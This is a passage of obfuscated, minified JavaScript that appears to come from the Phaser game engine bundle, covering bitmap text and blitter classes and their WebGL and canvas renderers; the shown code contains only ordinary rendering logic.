_0x4f6b68['index'] = _0x24e4d5, _0x4f6b68['charCode'] = _0x41b3ef, _0x4f6b68['x'] = _0x47c8de, _0x4f6b68['y'] = _0x185c34, _0x4f6b68['scale'] = _0x664914, _0x4f6b68['rotation'] = _0x522039, _0x4f6b68['data'] = _0x2782ed['data']; var _0x4eb57b = _0x4b4054(_0x4f6b68); _0x47c8de = _0x4eb57b['x'], _0x185c34 = _0x4eb57b['y'], _0x664914 = _0x4eb57b['scale'], _0x522039 = _0x4eb57b['rotation'], _0x4eb57b['color'] ? (_0x169dc2 = _0x4eb57b['color'], _0x457804 = _0x4eb57b['color'], _0x3f17a2 = _0x4eb57b['color'], _0x5cbb9c = _0x4eb57b['color']) : (_0x169dc2 = _0x4eb57b['tint']['topLeft'], _0x457804 = _0x4eb57b['tint']['topRight'], _0x3f17a2 = _0x4eb57b['tint']['bottomLeft'], _0x5cbb9c = _0x4eb57b['tint']['bottomRight']), _0x169dc2 = _0x111343['getTintAppendFloatAlpha'](_0x169dc2, _0x6c6b80['alpha'] * _0x2cfb81['_alphaTL']), _0x457804 = _0x111343['getTintAppendFloatAlpha'](_0x457804, _0x6c6b80['alpha'] * _0x2cfb81['_alphaTR']), _0x3f17a2 = _0x111343['getTintAppendFloatAlpha'](_0x3f17a2, _0x6c6b80['alpha'] * _0x2cfb81['_alphaBL']), _0x5cbb9c = _0x111343['getTintAppendFloatAlpha'](_0x5cbb9c, _0x6c6b80['alpha'] * _0x2cfb81['_alphaBR']); } _0x47c8de *= _0x664914, _0x185c34 *= _0x664914, _0x47c8de -= _0x2cfb81['displayOriginX'], _0x185c34 -= _0x2cfb81['displayOriginY'], _0x47c8de += _0x1cf450, _0x3b77fd['applyITRS'](_0x47c8de, _0x185c34, _0x522039, _0x664914, _0x664914), _0x3021e6['multiply'](_0x3b77fd, _0x41addc); var _0x38736f = _0x2782ed['u0'], _0x4d652e = _0x2782ed['v0'], _0x37344e = _0x2782ed['u1'], _0x214378 = _0x2782ed['v1'], _0x31c713 = _0x5c8783, _0x41036d = _0x11c92f, _0x2649ee = _0x41addc['e'], _0x1da647 = _0x41addc['f'], _0x23a4bc = _0x41036d * _0x41addc['c'] + _0x41addc['e'], _0x5b28e6 = _0x41036d * _0x41addc['d'] + _0x41addc['f'], _0x5bd884 = _0x31c713 * _0x41addc['a'] + _0x41036d * _0x41addc['c'] + _0x41addc['e'], _0x5dcd1b = _0x31c713 * _0x41addc['b'] + _0x41036d * _0x41addc['d'] + _0x41addc['f'], _0x345a4a = _0x31c713 * _0x41addc['a'] + _0x41addc['e'], _0x12532f = _0x31c713 * _0x41addc['b'] + _0x41addc['f']; _0x18546b && (_0x2649ee = Math['round'](_0x2649ee), _0x1da647 = Math['round'](_0x1da647), _0x23a4bc = Math['round'](_0x23a4bc), _0x5b28e6 = Math['round'](_0x5b28e6), _0x5bd884 = Math['round'](_0x5bd884), _0x5dcd1b = Math['round'](_0x5dcd1b), _0x345a4a = Math['round'](_0x345a4a), _0x12532f = Math['round'](_0x12532f)), _0x49fd2a['shouldFlush'](0x6) && (_0x49fd2a['flush'](), _0x7447d0 = _0x49fd2a['setGameObject'](_0x2cfb81)), _0x49fd2a['batchQuad'](_0x2cfb81, _0x2649ee, _0x1da647, _0x23a4bc, _0x5b28e6, _0x5bd884, _0x5dcd1b, _0x345a4a, _0x12532f, _0x38736f, _0x4d652e, _0x37344e, _0x214378, _0x169dc2, _0x457804, _0x3f17a2, _0x5cbb9c, _0x50cf32, _0x518f09, _0x7447d0); } } } else _0x4e1ea0++, 0x1 === _0x168db7 ? _0x1cf450 = (_0x6b318d['longest'] - _0x6b318d['lengths'][_0x4e1ea0]) / 0x2 : 0x2 === _0x168db7 && (_0x1cf450 = _0x6b318d['longest'] - _0x6b318d['lengths'][_0x4e1ea0]), _0x505a31 = 0x0, _0x1f188e += _0x21f150, _0x41e089 = null; _0x44cced && (_0x49fd2a['flush'](), _0x39e057['popScissor']()), _0x39e057['pipelines']['postBatch'](_0x2cfb81); } }; }, 0x56aa: (_0x53aa1, _0x510afa, _0x497b5d) => { var _0x37a23c = _0x497b5d(0x145db), _0x4f6bbd = _0x497b5d(0xb107), _0xb1abbd = _0x497b5d(0x7aa9), _0x355be3 = _0x497b5d(0x1759b), _0x246451 = _0x497b5d(0xcf38), _0x664277 = _0x497b5d(0xef8f), _0x555359 = _0x497b5d(0x5563), _0x59db97 = _0x497b5d(0x15721), _0x1aa2e2 = _0x497b5d(0x48e2), _0x3983a7 = new _0x37a23c({ 'Extends': _0x355be3, 'Mixins': [_0xb1abbd['Alpha'], _0xb1abbd['BlendMode'], _0xb1abbd['Depth'], _0xb1abbd['GetBounds'], _0xb1abbd['Mask'], _0xb1abbd['Origin'], _0xb1abbd['Pipeline'], _0xb1abbd['PostPipeline'], _0xb1abbd['ScrollFactor'], _0xb1abbd['Texture'], _0xb1abbd['Tint'], _0xb1abbd['Transform'], _0xb1abbd['Visible'], _0x1aa2e2], 'initialize': function (_0x81d583, _0x528bd5, _0x355037, _0x5a9f28, _0x3df602, _0xa29cd5, _0x11aa8f) { void 0x0 === _0x3df602 && (_0x3df602 = ''), void 0x0 === _0x11aa8f && (_0x11aa8f = 0x0), _0x355be3['call'](this, _0x81d583, 'BitmapText'), this['font'] = _0x5a9f28; var _0x1afc3c = this['scene']['sys']['cache']['bitmapFont']['get'](_0x5a9f28); if (!_0x1afc3c) throw new Error('Invalid\x20BitmapText\x20key:\x20' + _0x5a9f28); this['fontData'] = _0x1afc3c['data'], this['_text'] = '', this['_fontSize'] = _0xa29cd5 || this['fontData']['size'], this['_letterSpacing'] = 0x0, this['_lineSpacing'] = 0x0, this['_align'] = _0x11aa8f, this['_bounds'] = _0x246451(), this['_dirty'] = !0x0, this['_maxWidth'] = 0x0, this['wordWrapCharCode'] = 0x20, this['charColors'] = [], this['dropShadowX'] = 0x0, this['dropShadowY'] = 0x0, this['dropShadowColor'] = 0x0, this['dropShadowAlpha'] = 0.5, this['fromAtlas'] = _0x1afc3c['fromAtlas'], this['setTexture'](_0x1afc3c['texture'], _0x1afc3c['frame']), this['setPosition'](_0x528bd5, _0x355037), this['setOrigin'](0x0, 0x0), this['initPipeline'](), this['initPostPipeline'](), this['setText'](_0x3df602); }, 'setLeftAlign': function () { return this['_align'] = _0x3983a7['ALIGN_LEFT'], this['_dirty'] = !0x0, this; }, 'setCenterAlign': function () { return this['_align'] = _0x3983a7['ALIGN_CENTER'], this['_dirty'] = !0x0, this; }, 'setRightAlign': function () { return this['_align'] = _0x3983a7['ALIGN_RIGHT'], this['_dirty'] = !0x0, this; }, 'setFontSize': function (_0x27f987) { return this['_fontSize'] = _0x27f987, this['_dirty'] = !0x0, this; }, 'setLetterSpacing': function (_0x281684) { return void 0x0 === _0x281684 && (_0x281684 = 0x0), this['_letterSpacing'] = _0x281684, this['_dirty'] = !0x0, this; }, 'setLineSpacing': function (_0x248740) { return void 0x0 === _0x248740 && (_0x248740 = 0x0), this['lineSpacing'] = _0x248740, this; }, 'setText': function (_0x57b4d7) { return _0x57b4d7 || 0x0 === _0x57b4d7 || (_0x57b4d7 = ''), Array['isArray'](_0x57b4d7) && (_0x57b4d7 = _0x57b4d7['join']('\x0a')), _0x57b4d7 !== this['text'] && (this['_text'] = _0x57b4d7['toString'](), this['_dirty'] = !0x0, this['updateDisplayOrigin']()), this; }, 'setDropShadow': function (_0x441189, _0x35e06d, _0x533ce3, _0x1853ec) { return void 0x0 === _0x441189 && (_0x441189 = 0x0), void 0x0 === _0x35e06d && (_0x35e06d = 0x0), void 0x0 === _0x533ce3 && (_0x533ce3 = 0x0), void 0x0 === _0x1853ec && (_0x1853ec = 0.5), this['dropShadowX'] = _0x441189, this['dropShadowY'] = _0x35e06d, this['dropShadowColor'] = _0x533ce3, this['dropShadowAlpha'] = _0x1853ec, this; }, 'setCharacterTint': function (_0x1448f2, _0x403b23, _0x55d058, _0x24d7e1, _0x1497a4, _0x59edf7, _0x17f5e4) { void 0x0 === _0x1448f2 && (_0x1448f2 = 0x0), void 0x0 === _0x403b23 && (_0x403b23 = 0x1), void 0x0 === _0x55d058 && (_0x55d058 = !0x1), void 0x0 === _0x24d7e1 && (_0x24d7e1 = -0x1), void 0x0 === _0x1497a4 && (_0x1497a4 = _0x24d7e1, _0x59edf7 = _0x24d7e1, _0x17f5e4 = _0x24d7e1); var _0x2ece6c = this['text']['length']; -0x1 === _0x403b23 && (_0x403b23 = _0x2ece6c), _0x1448f2 < 0x0 && (_0x1448f2 = _0x2ece6c + _0x1448f2), _0x1448f2 = _0x4f6bbd(_0x1448f2, 0x0, _0x2ece6c - 0x1); for (var _0x567f6a = _0x4f6bbd(_0x1448f2 + _0x403b23, _0x1448f2, _0x2ece6c), _0x1c8025 = this['charColors'], _0x5bf43a = _0x1448f2; _0x5bf43a < _0x567f6a; _0x5bf43a++) { var _0x468586 = _0x1c8025[_0x5bf43a]; if (-0x1 === _0x24d7e1) _0x1c8025[_0x5bf43a] = null; else { var _0x3bfd61 = _0x55d058 ? 0x1 : 0x0; _0x468586 ? (_0x468586['tintEffect'] = _0x3bfd61, _0x468586['tintTL'] = _0x24d7e1, _0x468586['tintTR'] = _0x1497a4, _0x468586['tintBL'] = _0x59edf7, _0x468586['tintBR'] = _0x17f5e4) : _0x1c8025[_0x5bf43a] = { 'tintEffect': _0x3bfd61, 'tintTL': _0x24d7e1, 'tintTR': _0x1497a4, 'tintBL': _0x59edf7, 'tintBR': _0x17f5e4 }; } } return this; }, 'setWordTint': function (_0x4058ae, _0x315989, _0x1139fe, _0x5c4fa8, _0x557264, _0x27130c, _0x427eab) { void 0x0 === _0x315989 && (_0x315989 = 0x1); for (var _0xc3f213 = this['getTextBounds']()['words'], _0x163ee2 = 'number' == typeof _0x4058ae, _0x106f50 = 0x0, _0x483b96 = 0x0; _0x483b96 < _0xc3f213['length']; _0x483b96++) { var _0x491a4e = _0xc3f213[_0x483b96]; if ((_0x163ee2 && _0x483b96 === _0x4058ae || !_0x163ee2 && _0x491a4e['word'] === _0x4058ae) && (this['setCharacterTint'](_0x491a4e['i'], _0x491a4e['word']['length'], _0x1139fe, _0x5c4fa8, _0x557264, _0x27130c, _0x427eab), ++_0x106f50 === _0x315989)) return this; } return this; }, 'getTextBounds': function (_0x69694b) { var _0x2ab880 = this['_bounds']; return (this['_dirty'] || _0x69694b || this['scaleX'] !== _0x2ab880['scaleX'] || this['scaleY'] !== _0x2ab880['scaleY']) && (_0x246451(this, _0x69694b, !0x0, _0x2ab880), this['_dirty'] = !0x1), _0x2ab880; }, 'getCharacterAt': function (_0x4d2abf, _0x5856a4, _0x8dc25) { for (var _0x51c723 = this['getLocalPoint'](_0x4d2abf, _0x5856a4, null, _0x8dc25), _0x4371dc = this['getTextBounds']()['characters'], _0x3c2da5 = new _0x59db97(), _0xf7c358 = 0x0; _0xf7c358 < _0x4371dc['length']; _0xf7c358++) { var _0xff5df2 = _0x4371dc[_0xf7c358]; if (_0x3c2da5['setTo'](_0xff5df2['x'], _0xff5df2['t'], _0xff5df2['r'] - _0xff5df2['x'], _0xff5df2['b']), _0x3c2da5['contains'](_0x51c723['x'], _0x51c723['y'])) return _0xff5df2; } return null; }, 'updateDisplayOrigin': function () { return this['_dirty'] = !0x0, this['getTextBounds'](!0x1), this; }, 'setFont': function (_0x71c4f0, _0x16f774, _0x1e0652) { void 0x0 === _0x16f774 && (_0x16f774 = this['_fontSize']), void 0x0 === _0x1e0652 && (_0x1e0652 = this['_align']); var _0x4f319d = this['scene']['sys']['cache']['bitmapFont']['get'](_0x71c4f0); return _0x4f319d && (this['font'] = _0x71c4f0, this['fontData'] = _0x4f319d['data'], this['_fontSize'] = _0x16f774, this['_align'] = _0x1e0652, this['fromAtlas'] = !0x0 === _0x4f319d['fromAtlas'], this['setTexture'](_0x4f319d['texture'], _0x4f319d['frame']), _0x246451(this, !0x1, !0x0, this['_bounds'])), this; }, 'setMaxWidth': function (_0x344630, _0x5aa3f9) { return this['_maxWidth'] = _0x344630, this['_dirty'] = !0x0, void 0x0 !== _0x5aa3f9 && (this['wordWrapCharCode'] = _0x5aa3f9), this; }, 'align': { 'set': function (_0x50db5c) { this['_align'] = _0x50db5c, this['_dirty'] = !0x0; }, 'get': function () { return this['_align']; } }, 'text': { 'set': function (_0x2cfcc4) { this['setText'](_0x2cfcc4); }, 'get': function () { return this['_text']; } }, 'fontSize': { 'set': function (_0x29cd63) { this['_fontSize'] = _0x29cd63, this['_dirty'] = !0x0; }, 'get': function () { return this['_fontSize']; } }, 'letterSpacing': { 'set': function (_0x38c2a0) { this['_letterSpacing'] = _0x38c2a0, this['_dirty'] = !0x0; }, 'get': function () { return this['_letterSpacing']; } }, 'lineSpacing': { 'set': function (_0x323379) { this['_lineSpacing'] = _0x323379, this['_dirty'] = !0x0; }, 'get': function () { return this['_lineSpacing']; } }, 'maxWidth': { 'set': function (_0x1b1a8f) { this['_maxWidth'] = _0x1b1a8f, this['_dirty'] = !0x0; }, 'get': function () { return this['_maxWidth']; } }, 'width': { 'get': function () { return this['getTextBounds'](!0x1), this['_bounds']['global']['width']; } }, 'height': { 'get': function () { return this['getTextBounds'](!0x1), this['_bounds']['global']['height']; } }, 'displayWidth': { 'get': function () { return this['width']; } }, 'displayHeight': { 'get': function () { return this['height']; } }, 'toJSON': function () { var _0x29b0f1 = _0xb1abbd['ToJSON'](this), _0x2c8c21 = { 'font': this['font'], 'text': this['text'], 'fontSize': this['fontSize'], 'letterSpacing': this['letterSpacing'], 'lineSpacing': this['lineSpacing'], 'align': this['align'] }; return _0x29b0f1['data'] = _0x2c8c21, _0x29b0f1; }, 'preDestroy': function () { this['charColors']['length'] = 0x0, this['_bounds'] = null, this['fontData'] = null; } }); _0x3983a7['ALIGN_LEFT'] = 0x0, _0x3983a7['ALIGN_CENTER'] = 0x1, _0x3983a7['ALIGN_RIGHT'] = 0x2, _0x3983a7['ParseFromAtlas'] = _0x664277, _0x3983a7['ParseXMLBitmapFont'] = _0x555359, _0x53aa1['exports'] = _0x3983a7; }, 0x91a9: (_0x28824d, _0x46c6e3, _0x4ef7f0) => { var _0x46de97 = _0x4ef7f0(0x51be); _0x28824d['exports'] = function (_0x5ba546, _0x2effa7, _0x258253, _0xe7c9fb) { var _0x223916 = _0x2effa7['_text'], _0x1738d8 = _0x223916['length'], _0x193cee = _0x5ba546['currentContext']; if (0x0 !== _0x1738d8 && _0x46de97(_0x5ba546, _0x193cee, _0x2effa7, _0x258253, _0xe7c9fb)) { _0x258253['addToRenderList'](_0x2effa7); var _0x5f306d = _0x2effa7['fromAtlas'] ? _0x2effa7['frame'] : _0x2effa7['texture']['frames']['__BASE'], _0x5c8710 = _0x2effa7['fontData']['chars'], _0x2fcb2c = _0x2effa7['fontData']['lineHeight'], _0x386232 = _0x2effa7['_letterSpacing'], _0x52cb6a = _0x2effa7['_lineSpacing'], _0x269ef6 = 0x0, _0x1f76ae = 0x0, _0x59b34d = 0x0, _0x20c52a = null, _0x2aa13f = 0x0, _0x2b9ef8 = 0x0, _0x5cd79a = 0x0, _0x3d756f = 0x0, _0x59a7e6 = 0x0, _0x3d0f44 = 0x0, _0x23d4ff = null, _0x230ed7 = 0x0, _0x4f3cf0 = _0x5f306d['source']['image'], _0xb66109 = _0x5f306d['cutX'], _0x505340 = _0x5f306d['cutY'], _0x1fb64e = _0x2effa7['_fontSize'] / _0x2effa7['fontData']['size'], _0x4db2de = _0x2effa7['_align'], _0x1b0501 = 0x0, _0x404570 = 0x0, _0x402608 = _0x2effa7['getTextBounds'](!0x1); _0x2effa7['maxWidth'] > 0x0 && (_0x1738d8 = (_0x223916 = _0x402608['wrappedText'])['length']); var _0x31ba64 = _0x2effa7['_bounds']['lines']; 0x1 === _0x4db2de ? _0x404570 = (_0x31ba64['longest'] - _0x31ba64['lengths'][0x0]) / 0x2 : 0x2 === _0x4db2de && (_0x404570 = _0x31ba64['longest'] - _0x31ba64['lengths'][0x0]), _0x193cee['translate'](-_0x2effa7['displayOriginX'], -_0x2effa7['displayOriginY']); for (var _0x5c52ff = _0x258253['roundPixels'], _0x8955f2 = 0x0; _0x8955f2 < _0x1738d8; _0x8955f2++)if (0xa !== (_0x59b34d = _0x223916['charCodeAt'](_0x8955f2))) { if (_0x20c52a = _0x5c8710[_0x59b34d]) { if (_0x2aa13f = _0xb66109 + _0x20c52a['x'], _0x2b9ef8 = _0x505340 + _0x20c52a['y'], _0x5cd79a = _0x20c52a['width'], _0x3d756f = _0x20c52a['height'], _0x59a7e6 = _0x20c52a['xOffset'] + _0x269ef6, _0x3d0f44 = _0x20c52a['yOffset'] + _0x1f76ae, null !== _0x23d4ff) { var _0x35a668 = _0x20c52a['kerning'][_0x230ed7]; _0x59a7e6 += void 0x0 !== _0x35a668 ? _0x35a668 : 0x0; } _0x59a7e6 *= _0x1fb64e, _0x3d0f44 *= _0x1fb64e, _0x59a7e6 += _0x404570, _0x269ef6 += _0x20c52a['xAdvance'] + _0x386232 + (void 0x0 !== _0x35a668 ? _0x35a668 : 0x0), _0x23d4ff = _0x20c52a, _0x230ed7 = _0x59b34d, 0x0 !== _0x5cd79a && 0x0 !== _0x3d756f && 0x20 !== _0x59b34d && (_0x5c52ff && (_0x59a7e6 = Math['round'](_0x59a7e6), _0x3d0f44 = Math['round'](_0x3d0f44)), _0x193cee['save'](), _0x193cee['translate'](_0x59a7e6, _0x3d0f44), _0x193cee['scale'](_0x1fb64e, _0x1fb64e), _0x193cee['drawImage'](_0x4f3cf0, _0x2aa13f, _0x2b9ef8, _0x5cd79a, _0x3d756f, 0x0, 0x0, _0x5cd79a, _0x3d756f), _0x193cee['restore']()); } } else _0x1b0501++, 0x1 === _0x4db2de ? _0x404570 = (_0x31ba64['longest'] - _0x31ba64['lengths'][_0x1b0501]) / 0x2 : 0x2 === _0x4db2de && (_0x404570 = _0x31ba64['longest'] - _0x31ba64['lengths'][_0x1b0501]), _0x269ef6 = 0x0, _0x1f76ae += _0x2fcb2c + _0x52cb6a, _0x23d4ff = null; _0x193cee['restore'](); } }; }, 0xdff8: (_0x743204, _0x27fb53, _0x5e9d4f) => { var _0x4402ed = _0x5e9d4f(0x56aa), _0x49b8f0 = _0x5e9d4f(0x62d9), _0x23b8c5 = _0x5e9d4f(0xae3b), _0x51064a = _0x5e9d4f(0x5c10), _0x6c9aa6 = _0x5e9d4f(0x8952); _0x23b8c5['register']('bitmapText', function (_0x3fab29, _0x313130) { void 0x0 === _0x3fab29 && (_0x3fab29 = {}); var _0x44fbe3 = _0x6c9aa6(_0x3fab29, 'font', ''), _0x154763 = _0x51064a(_0x3fab29, 'text', ''), _0x30de26 = _0x51064a(_0x3fab29, 'size', !0x1), _0x3c680e = _0x6c9aa6(_0x3fab29, 'align', 0x0), _0x3dcc4b = new _0x4402ed(this['scene'], 0x0, 0x0, _0x44fbe3, _0x154763, _0x30de26, _0x3c680e); return void 0x0 !== _0x313130 && (_0x3fab29['add'] = _0x313130), _0x49b8f0(this['scene'], _0x3dcc4b, _0x3fab29), _0x3dcc4b; }); }, 0x8862: (_0x10aee2, _0x296b0f, _0x1682b4) => { var _0x49ecc5 = _0x1682b4(0x56aa); _0x1682b4(0x9a05)['register']('bitmapText', function (_0x420ad0, _0x50103d, _0x86de70, _0x1c31a0, _0x1a4a3c, _0x23265c) { return this['displayList']['add'](new _0x49ecc5(this['scene'], _0x420ad0, _0x50103d, _0x86de70, _0x1c31a0, _0x1a4a3c, _0x23265c)); }); }, 0x48e2: (_0x30e4c7, _0x12cbf1, _0x557f19) => { var _0xbb9ca = _0x557f19(0x7433), _0x2fedb4 = _0xbb9ca, _0x561584 = _0xbb9ca; _0x2fedb4 = _0x557f19(0x8336), _0x561584 = _0x557f19(0x91a9), _0x30e4c7['exports'] = { 'renderWebGL': _0x2fedb4, 'renderCanvas': _0x561584 }; }, 0x8336: (_0x1c443f, _0x11f0e8, _0x4c87f0) => { var _0xbe6e38 = _0x4c87f0(0xc91), _0x13bc3f = _0x4c87f0(0x164a0), _0x32f319 = _0x4c87f0(0x1139a); _0x1c443f['exports'] = function (_0x2d5d05, _0x335e3a, _0x415860, _0x33fff5) { if (0x0 !== _0x335e3a['_text']['length']) { _0x415860['addToRenderList'](_0x335e3a); var _0x2448b8 = _0x2d5d05['pipelines']['set'](_0x335e3a['pipeline'], _0x335e3a), _0x496bd0 = _0x13bc3f(_0x335e3a, _0x415860, _0x33fff5)['calc']; _0x2d5d05['pipelines']['preBatch'](_0x335e3a); var _0x512de9, _0x3ebf9b, _0x1a3c3a, _0x12d9e3 = _0x415860['roundPixels'], _0xb3951 = _0x415860['alpha'], _0x71b8c8 = _0x335e3a['charColors'], _0x1ce27a = _0x335e3a['tintFill'], _0x5d8f4e = _0x32f319['getTintAppendFloatAlpha'], _0x188c5e = _0x5d8f4e(_0x335e3a['tintTopLeft'], _0xb3951 * _0x335e3a['_alphaTL']), _0x9038a1 = _0x5d8f4e(_0x335e3a['tintTopRight'], _0xb3951 * _0x335e3a['_alphaTR']), _0x40974c = _0x5d8f4e(_0x335e3a['tintBottomLeft'], _0xb3951 * _0x335e3a['_alphaBL']), _0x16873d = _0x5d8f4e(_0x335e3a['tintBottomRight'], _0xb3951 * _0x335e3a['_alphaBR']), _0x1a8ac5 = _0x335e3a['frame']['glTexture'], _0x2f8a48 = _0x2448b8['setGameObject'](_0x335e3a), _0x57558a = _0x335e3a['getTextBounds'](!0x1)['characters'], _0x5cc559 = _0x335e3a['dropShadowX'], _0xf2a166 = _0x335e3a['dropShadowY']; if (0x0 !== _0x5cc559 || 0x0 !== _0xf2a166) { var _0x1d8546 = _0x335e3a['dropShadowColor'], _0x4f122f = _0x335e3a['dropShadowAlpha'], _0x304cd2 = _0x5d8f4e(_0x1d8546, _0xb3951 * _0x4f122f * _0x335e3a['_alphaTL']), _0x5cbfe6 = _0x5d8f4e(_0x1d8546, _0xb3951 * _0x4f122f * _0x335e3a['_alphaTR']), _0x3f0031 = _0x5d8f4e(_0x1d8546, _0xb3951 * _0x4f122f * _0x335e3a['_alphaBL']), _0x23d035 = _0x5d8f4e(_0x1d8546, _0xb3951 * _0x4f122f * _0x335e3a['_alphaBR']); for (_0x512de9 = 0x0; _0x512de9 < _0x57558a['length']; _0x512de9++)_0x1a3c3a = (_0x3ebf9b = _0x57558a[_0x512de9])['glyph'], 0x20 !== _0x3ebf9b['code'] && 0x0 !== _0x1a3c3a['width'] && 0x0 !== _0x1a3c3a['height'] && _0xbe6e38(_0x2448b8, _0x335e3a, _0x3ebf9b, _0x1a3c3a, _0x5cc559, _0xf2a166, _0x496bd0, _0x12d9e3, _0x304cd2, _0x5cbfe6, _0x3f0031, _0x23d035, 0x1, _0x1a8ac5, _0x2f8a48); } for (_0x512de9 = 0x0; _0x512de9 < _0x57558a['length']; _0x512de9++)if (_0x1a3c3a = (_0x3ebf9b = _0x57558a[_0x512de9])['glyph'], 0x20 !== _0x3ebf9b['code'] && 0x0 !== _0x1a3c3a['width'] && 0x0 !== _0x1a3c3a['height']) { if (_0x2448b8['shouldFlush'](0x6) && (_0x2448b8['flush'](), _0x2f8a48 = _0x2448b8['setGameObject'](_0x335e3a)), _0x71b8c8[_0x3ebf9b['i']]) { var _0x5bed2f = _0x71b8c8[_0x3ebf9b['i']], _0x2862c6 = _0x5bed2f['tintEffect'], _0x1a016f = _0x5d8f4e(_0x5bed2f['tintTL'], _0xb3951 * _0x335e3a['_alphaTL']), _0x16d55a = _0x5d8f4e(_0x5bed2f['tintTR'], _0xb3951 * _0x335e3a['_alphaTR']), _0x362688 = _0x5d8f4e(_0x5bed2f['tintBL'], _0xb3951 * _0x335e3a['_alphaBL']), _0x5d7eb4 = _0x5d8f4e(_0x5bed2f['tintBR'], _0xb3951 * _0x335e3a['_alphaBR']); _0xbe6e38(_0x2448b8, _0x335e3a, _0x3ebf9b, _0x1a3c3a, 0x0, 0x0, _0x496bd0, _0x12d9e3, _0x1a016f, _0x16d55a, _0x362688, _0x5d7eb4, _0x2862c6, _0x1a8ac5, _0x2f8a48); } else _0xbe6e38(_0x2448b8, _0x335e3a, _0x3ebf9b, _0x1a3c3a, 0x0, 0x0, _0x496bd0, _0x12d9e3, _0x188c5e, _0x9038a1, _0x40974c, _0x16873d, _0x1ce27a, _0x1a8ac5, _0x2f8a48); } _0x2d5d05['pipelines']['postBatch'](_0x335e3a); } }; }, 0x17db: (_0x1026cb, _0x5b5c8c, _0x212ced) => { var _0x57fd7b = _0x212ced(0xbb8b), _0x1d3877 = _0x212ced(0xb5fe), _0x39aa2f = _0x212ced(0x145db), _0xde9688 = _0x212ced(0x7aa9), _0x503e5b = _0x212ced(0x10e7), _0x168c08 = _0x212ced(0x1759b), _0x3d08a9 = _0x212ced(0x11dca), _0x1ee4cf = new _0x39aa2f({ 'Extends': _0x168c08, 'Mixins': [_0xde9688['Alpha'], _0xde9688['BlendMode'], _0xde9688['Depth'], _0xde9688['Mask'], _0xde9688['Pipeline'], _0xde9688['PostPipeline'], _0xde9688['ScrollFactor'], _0xde9688['Size'], _0xde9688['Texture'], _0xde9688['Transform'], _0xde9688['Visible'], _0x57fd7b], 'initialize': function (_0x18692a, _0x4e48dc, _0x4b10f2, _0x4db84b, _0x52ab68) { _0x168c08['call'](this, _0x18692a, 'Blitter'), this['setTexture'](_0x4db84b, _0x52ab68), this['setPosition'](_0x4e48dc, _0x4b10f2), this['initPipeline'](), this['initPostPipeline'](), this['children'] = new _0x3d08a9(), this['renderList'] = [], this['dirty'] = !0x1; }, 'create': function (_0x346305, _0x471418, _0x367fcc, _0x6b7213, _0x3882a7) { void 0x0 === _0x6b7213 && (_0x6b7213 = !0x0), void 0x0 === _0x3882a7 && (_0x3882a7 = this['children']['length']), void 0x0 === _0x367fcc ? _0x367fcc = this['frame'] : _0x367fcc instanceof _0x503e5b || (_0x367fcc = this['texture']['get'](_0x367fcc)); var _0x2fd0f3 = new _0x1d3877(this, _0x346305, _0x471418, _0x367fcc, _0x6b7213); return this['children']['addAt'](_0x2fd0f3, _0x3882a7, !0x1), this['dirty'] = !0x0, _0x2fd0f3; }, 'createFromCallback': function (_0x24abf0, _0x131704, _0x4d76c4, _0x4bed3d) { for (var _0x2a569b = this['createMultiple'](_0x131704, _0x4d76c4, _0x4bed3d), _0x10925a = 0x0; _0x10925a < _0x2a569b['length']; _0x10925a++) { var _0xce5ffa = _0x2a569b[_0x10925a]; _0x24abf0['call'](this, _0xce5ffa, _0x10925a); } return _0x2a569b; }, 'createMultiple': function (_0x3e6e26, _0x3d0690, _0x21c627) { void 0x0 === _0x3d0690 && (_0x3d0690 = this['frame']['name']), void 0x0 === _0x21c627 && (_0x21c627 = !0x0), Array['isArray'](_0x3d0690) || (_0x3d0690 = [_0x3d0690]); var _0x23b4d8 = [], _0x11ace4 = this; return _0x3d0690['forEach'](function (_0x136009) { for (var _0x11a776 = 0x0; _0x11a776 < _0x3e6e26; _0x11a776++)_0x23b4d8['push'](_0x11ace4['create'](0x0, 0x0, _0x136009, _0x21c627)); }), _0x23b4d8; }, 'childCanRender': function (_0x5296e2) { return _0x5296e2['visible'] && _0x5296e2['alpha'] > 0x0; }, 'getRenderList': function () { return this['dirty'] && (this['renderList'] = this['children']['list']['filter'](this['childCanRender'], this), this['dirty'] = !0x1), this['renderList']; }, 'clear': function () { this['children']['removeAll'](), this['dirty'] = !0x0; }, 'preDestroy': function () { this['children']['destroy'](), this['renderList'] = []; } }); _0x1026cb['exports'] = _0x1ee4cf; }, 0x11acc: _0x534c4d => { _0x534c4d['exports'] = function (_0x50fa48, _0x54152f, _0x13e546, _0x4e88e9) { var _0x5971d5 = _0x54152f['getRenderList'](); if (0x0 !== _0x5971d5['length']) { var _0x4213f3 = _0x50fa48['currentContext'], _0x24dbf4 = _0x13e546['alpha'] * _0x54152f['alpha']; if (0x0 !== _0x24dbf4) { _0x13e546['addToRenderList'](_0x54152f), _0x4213f3['globalCompositeOperation'] = _0x50fa48['blendModes'][_0x54152f['blendMode']], _0x4213f3['imageSmoothingEnabled'] = !_0x54152f['frame']['source']['scaleMode']; var _0x2021d6 = _0x54152f['x'] - _0x13e546['scrollX'] * _0x54152f['scrollFactorX'], _0x158358 = _0x54152f['y'] - _0x13e546['scrollY'] * _0x54152f['scrollFactorY']; _0x4213f3['save'](), _0x4e88e9 && _0x4e88e9['copyToContext'](_0x4213f3); for (var _0x485b07 = _0x13e546['roundPixels'], _0x20eeb3 = 0x0; _0x20eeb3 < _0x5971d5['length']; _0x20eeb3++) { var _0xca1cba = _0x5971d5[_0x20eeb3], _0xd6f6bc = _0xca1cba['flipX'] || _0xca1cba['flipY'], _0x66a093 = _0xca1cba['frame'], _0x418c3c = _0x66a093['canvasData'], _0x66491 = _0x66a093['x'], _0x3f6abe = _0x66a093['y'], _0x10142b = 0x1, _0x17dfc5 = 0x1, _0x42b30e = _0xca1cba['alpha'] * _0x24dbf4; 0x0 !== _0x42b30e && (_0x4213f3['globalAlpha'] = _0x42b30e, _0xd6f6bc ? (_0xca1cba['flipX'] && (_0x10142b = -0x1, _0x66491 -= _0x418c3c['width']), _0xca1cba['flipY'] && (_0x17dfc5 = -0x1, _0x3f6abe -= _0x418c3c['height']), _0x418c3c['width'] > 0x0 && _0x418c3c['height'] > 0x0 && (_0x4213f3['save'](), _0x4213f3['translate'](_0xca1cba['x'] + _0x2021d6, _0xca1cba['y'] + _0x158358), _0x4213f3['scale'](_0x10142b, _0x17dfc5), _0x4213f3['drawImage'](_0x66a093['source']['image'], _0x418c3c['x'], _0x418c3c['y'], _0x418c3c['width'], _0x418c3c['height'], _0x66491, _0x3f6abe, _0x418c3c['width'], _0x418c3c['height']), _0x4213f3['restore']())) : (_0x485b07 && (_0x66491 = 